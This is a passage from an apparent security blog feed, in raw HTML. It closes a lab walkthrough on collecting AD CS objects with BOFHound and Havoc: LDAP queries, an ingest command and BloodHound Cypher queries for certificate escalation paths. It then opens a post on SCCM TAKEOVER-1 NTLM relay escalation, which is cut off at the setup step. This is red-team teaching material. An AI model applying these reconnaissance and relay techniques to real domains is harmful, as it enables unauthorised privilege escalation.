8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Just One More Turn</figcaption></figure></div><p>To unroll the group&#8217;s members (return first and Nth degree members) we can take the group&#8217;s distinguished name and issue an LDAP query using the <em>LDAP_MATCHING_RULE_TRANSITIVE_EVAL</em> <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/4e638665-f466-4597-93c4-12f2ebfabab5">matching rule</a>.</p><pre><code>ldapsearch (memberOf:1.2.840.113556.1.4.1941:=CN=Nested1,CN=Users,DC=essos,DC=local) *,ntsecuritydescriptor</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PcfY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PcfY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 424w, https://substackcdn.com/image/fetch/$s_!PcfY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 848w, https://substackcdn.com/image/fetch/$s_!PcfY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 1272w, https://substackcdn.com/image/fetch/$s_!PcfY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PcfY!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png" width="998" height="456.50274725274727" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:666,&quot;width&quot;:1456,&quot;resizeWidth&quot;:998,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!PcfY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 424w, https://substackcdn.com/image/fetch/$s_!PcfY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 848w, https://substackcdn.com/image/fetch/$s_!PcfY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 1272w, https://substackcdn.com/image/fetch/$s_!PcfY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c630256-1ef1-4fd3-a5c9-6970e3b36b94_1600x732.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Unroll Group Membership</figcaption></figure></div><p>That query returns two results in the lab, though only one can be seen in the screenshot. However, if you look closely at the user object returned, you&#8217;ll notice the <code>memberOf</code> attribute doesn&#8217;t contain the <em>Nested1</em> group from our query filter (meaning the object must be a Nth degree member).</p><p>Now we rerun BOFHound, same as we did before.</p><pre><code>bofhound -i /opt/havoc/data/loot --parser havoc --zip</code></pre><p>After we ingest the data again, rerunning the same ESC1 enrollment rights query shows the previously unknown SID with enrollment rights belonged to the <em>Nested1</em> group.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vf1Q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vf1Q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 424w, https://substackcdn.com/image/fetch/$s_!vf1Q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 848w, https://substackcdn.com/image/fetch/$s_!vf1Q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 1272w, https://substackcdn.com/image/fetch/$s_!vf1Q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vf1Q!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png" width="922" height="213.40247252747253" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:337,&quot;width&quot;:1456,&quot;resizeWidth&quot;:922,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vf1Q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 424w, https://substackcdn.com/image/fetch/$s_!vf1Q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 848w, https://substackcdn.com/image/fetch/$s_!vf1Q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 1272w, https://substackcdn.com/image/fetch/$s_!vf1Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5351540-fef5-44ba-812e-fca11e0f09bf_1600x370.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Slowly Clearing the Fog of War</figcaption></figure></div><p>This prebuilt query doesn&#8217;t unroll the group members, though. If we click the <code>ESC1@ESSOS.LOCAL</code> object to bring up the properties pane on the right side, we can click the <em>Inbound Object Control</em> section to unroll enrollment rights (and potentially other ACL-based abuses).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IuF_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IuF_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 424w, https://substackcdn.com/image/fetch/$s_!IuF_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 848w, https://substackcdn.com/image/fetch/$s_!IuF_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 1272w, https://substackcdn.com/image/fetch/$s_!IuF_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IuF_!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png" width="928" height="292.97667185069986" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:406,&quot;width&quot;:1286,&quot;resizeWidth&quot;:928,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!IuF_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 424w, https://substackcdn.com/image/fetch/$s_!IuF_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 848w, https://substackcdn.com/image/fetch/$s_!IuF_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 1272w, https://substackcdn.com/image/fetch/$s_!IuF_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64ac9b74-19b8-4d91-8a90-55bdceb3366c_1286x406.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">The Unrolled Enrollment Rights Leading to ESC1</figcaption></figure></div><p>This reveals the path we initially examined, showing a way to perform ESC1 through nested enrollment rights. Should we return to BloodHound&#8217;s pathfinding tab and search for paths starting at <code>MISSANDEI@ESSOS.LOCAL</code> and ending at <code>ESSOS.LOCAL</code>, we now have all the data necessary to map the attack path shown at the beginning of this section (if you&#8217;re following along in GOAD, your pathfinding might surface a shorter <code>ASCSESC3</code> path that you have to filter out).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nr2m!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nr2m!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 424w, https://substackcdn.com/image/fetch/$s_!nr2m!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 848w, https://substackcdn.com/image/fetch/$s_!nr2m!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 1272w, https://substackcdn.com/image/fetch/$s_!nr2m!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nr2m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png" width="825" height="553" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:553,&quot;width&quot;:825,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!nr2m!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 424w, https://substackcdn.com/image/fetch/$s_!nr2m!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 848w, https://substackcdn.com/image/fetch/$s_!nr2m!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 1272w, https://substackcdn.com/image/fetch/$s_!nr2m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d51ced5-5326-4448-9a6b-30945a4d706f_825x553.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Assessment Debrief</figcaption></figure></div><p>BloodHound currently supports edges for ESC1, ESC3, ESC4 and ESC13. You can quickly query any escalation path abusing one of them with:</p><pre><code>MATCH p=()-[:ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC13]-&gt;()
RETURN p</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8ByJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8ByJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 424w, https://substackcdn.com/image/fetch/$s_!8ByJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 848w, https://substackcdn.com/image/fetch/$s_!8ByJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 1272w, https://substackcdn.com/image/fetch/$s_!8ByJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8ByJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png" width="522" height="560.4631578947368" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6e162498-d00c-49af-929d-4be0cd43c586_760x816.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:816,&quot;width&quot;:760,&quot;resizeWidth&quot;:522,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!8ByJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 424w, https://substackcdn.com/image/fetch/$s_!8ByJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 848w, https://substackcdn.com/image/fetch/$s_!8ByJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 1272w, https://substackcdn.com/image/fetch/$s_!8ByJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e162498-d00c-49af-929d-4be0cd43c586_760x816.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">ADCSESC1, ADCSESC3, ADCSESC4 Edges from GOAD &#8220;Misconfigurations&#8221;</figcaption></figure></div><h1><strong>Is Anything Missing?</strong></h1><p>The <code>ManageCA</code> and <code>ManageCertificates</code> edges from BloodHound are not currently implemented in BOFHound. These relationships require reading values from the registry on CAs, which would require some other &#8220;collector&#8221; and parser (something akin to how BOFHound supports <code>AdminTo</code> and <code>HasSession</code> edges). These relationships are not currently relied on for any ESC attacks that BHCE supports, but will be if or when BloodHound gains ESC7 support.</p><h1><strong>Conclusion</strong></h1><p>This post served to clear up some common misconceptions about BOFHound, introduce the ability to parse AD CS objects, and provide a starting point for querying relevant LDAP objects. I hope that the added support for Havoc makes it easier to follow along with this post in a lab and give BOFHound a try. If you encounter any bugs, please feel free to open an issue on <a href="https://github.com/coffeegist/bofhound/issues">GitHub</a> or shoot me a message in the BloodHoundGang Slack (<a href="https://bloodhoundhq.slack.com/team/U02T6NDRAM8">@Tw1sm</a>).</p>]]></content:encoded></item><item><title><![CDATA[TAKEOVER-1 with PySQLRecon]]></title><description><![CDATA[The intersection of SQL and SCCM exploitation]]></description><link>https://blog.tw1sm.io/p/takeover-1-with-pysqlrecon</link><guid isPermaLink="false">https://blog.tw1sm.io/p/takeover-1-with-pysqlrecon</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Sat, 10 Aug 2024 14:31:27 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/6bcca361-edc9-48f1-ac81-d56721284e52_1184x664.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Overview</h3><p><a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.md">TAKEOVER-1</a> is an SCCM privilege escalation attack documented within the <a href="https://github.com/subat0mik/Misconfiguration-Manager">Misconfiguration Manager</a> project and originally laid out by <a href="https://x.com/_Mayyhem">@_Mayyhem</a> in this <a href="https://medium.com/specter-ops-posts/sccm-hierarchy-takeover-41929c61e087">blog</a>. Those resources cover the attack in much greater detail than I will here. <strong>tl;dr:</strong> coercing NTLM authentication from a primary site server and relaying it to the site&#8217;s remote database service allows an attacker to escalate an arbitrary account to SCCM&#8217;s Full Administrator role.</p><p>This post will demonstrate using <a href="https://github.com/Tw1sm/PySQLRecon">PySQLRecon</a> to aid in performing TAKEOVER-1. The attack can be performed just fine without PySQLRecon (as documented in Misconfiguration Manager); this method just saves you a bit of SQL query copypasta. </p><h3>Execution</h3><p>In my lab, the SCCM site server is 10.4.10.15 and the SCCM SQL server is 10.4.10.13. We&#8217;ll start by setting up ntlmrelayx to target the mssql service on the database server.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 